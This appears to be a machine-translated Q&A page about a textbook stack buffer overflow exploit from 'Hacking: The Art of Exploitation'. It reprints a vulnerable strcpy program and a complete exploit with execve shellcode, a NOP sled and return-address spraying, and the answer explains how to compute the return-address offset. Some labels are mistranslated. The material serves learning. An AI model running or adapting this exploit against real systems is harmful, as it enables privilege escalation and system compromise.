![](/img/trans.png)
[英]How is the modified return address in a stack based buffer overflow attack approximated?
[英]Stack based buffer overflow - return address of "shell code"
我正在閱讀“黑客攻擊 - 剝削的藝術第 2 版”一書。
我對以下將字符串緩沖區作為參數注入基於堆棧的緩沖區溢出易受攻擊的進程的示例感到困惑。
緩沖區結構:
| 沒有 | NOP...NOP | 沒有 | 外殼代碼 | 返回 | 返回...返回 |
在易受攻擊的進程中,這個緩沖區被復制到一個字符緩沖區,並且應該溢出並替換包含原始返回地址的基本堆棧參數。
根據文本 - RET 應該指向 NOP 幻燈片上的某個位置以使 EIP 滑下 NOP 幻燈片並執行 shell 代碼 - 聽起來很棒!
但是,這個RET地址是怎么推導出來的呢?
易受攻擊的代碼(進程#1):
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); //<-------- buffer is injected here
else // otherwise,
searchstring[0] = 0;
漏洞利用代碼 -process #2:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret;
char *command, *buffer;
unsigned int offset=atoi(argv[1]);
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; //Set return address <---- How ???
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
在 process#2 main 之上聲明 i 變量是巧合嗎? ret 是否應該從 process#1 的 main 堆棧中的某個地方獲取返回值?
編輯:具體來說,我不明白一個進程如何訪問另一個進程的內存空間-
ret = (unsigned int) &i - 偏移量; //設置返回地址
或者也許我在這里誤解了一些東西。
所以這一行是問題
ret = (unsigned int) &i - offset;
據我所知,一個用戶進程無法訪問另一個用戶進程內的內存。 但是,為什么代碼的作者使用 i 的地址來計算返回地址? 對於像notesearch這樣的簡單程序,其地址通常相差不大,所以目的是幫助讀者輕松計算返回地址。 好吧,讓我來描述一下。
情況1
&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = 0
return_address = 0x0061fb20 = &i - offset
notesearch memory view
High address
0xFFFFFFFF +------------------+
| |
| garbage data |
| |
0x0061fb20 +------------------+ <- &i # EIP land here, wrong address
| |
| |
| |
| |
| return_address |
| |
| shellcode |
| |
| NOP sled |
| |
0x0060fa10 +------------------+ <- start of searchstring
| |
0x00000000 +------------------+
Low address
從case 1可以看出,返回地址等於&i,這樣你的返回地址覆蓋原來的返回地址后,代碼會返回&i,這是垃圾數據。 那么如何讓返回地址指向NOP雪橇呢? 是的,這是您輸入的偏移量發揮作用的時候。
案例二
&i == 0x0061fb20
&searchstring == 0x0060fa10
offset = &i - &searchstring
return_address = 0x0060fa10 = &i - offset
notesearch memory view
High address
0xFFFFFFFF +------------------+
| |
| garbage data |
| |
0x0061fb20 +------------------+ <- &i
| |
| |
| |
| |
| return_address |
| |
| shellcode |
| |
| NOP sled |
| |
0x0060fa10 +------------------+ <- &i - offset # start of searchstring, EIP land here
| |
0x00000000 +------------------+
Low address
您在這里的工作是在 &i 和您的偏移量的幫助下計算返回地址,以便 EIP 將落在搜索字符串或 NOP 雪橇的開頭。 要計算它,您應該在調試器中運行漏洞利用程序並查找 &i,然后運行 notesearch 程序並查找 &searchstring。 offset = &i - &searchstring
, offset is (+) if &i > &searchstring else offset is (-)
。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.